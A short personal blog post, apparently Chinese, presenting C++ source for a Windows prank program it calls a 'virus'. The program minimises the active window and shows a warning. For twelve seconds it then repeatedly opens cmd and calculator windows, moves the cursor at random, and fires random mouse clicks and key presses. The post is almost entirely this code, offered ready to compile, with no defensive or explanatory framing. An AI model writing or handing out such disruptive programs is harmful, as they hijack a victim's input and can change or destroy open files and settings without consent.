跳到正文

个人记录

鬼畜病毒

chenbs约 1 分钟
原文
文章信息与版本

文章信息

发布
2023年7月5日
收录
2025年12月12日
更新
2026年11月11日
篇幅
约 1 分钟

版本

  1. v1当前

鬼畜病毒

C++
#include<bits/stdc++.h>
#include<windows.h>
#pragma GCC optimize(2)
using namespace std;
HWND hwnd = GetForegroundWindow();
int main() {

	srand(time(0));

	ShowWindow(hwnd,SW_SHOWMINIMIZED);

	MessageBox(NULL,TEXT("你的电脑即将鬼畜"),TEXT("警告"),0);

	int starttime = time(0);

	while(time(0)-starttime < 12) {

		if(rand()%3 == 0) {

			if(rand()%2 == 0)
				system("start cmd");
			else
				system("start calc");

		}
		
		SetCursorPos(rand()%1601,rand()%901);

		int r=rand()%256;
		mouse_event(2,0,0,0,0);
		keybd_event(r,0,0,0);
		Sleep(3);
		keybd_event(r,0,2,0);
		mouse_event(4,0,0,0,0);
	}

	return 0;
}
原文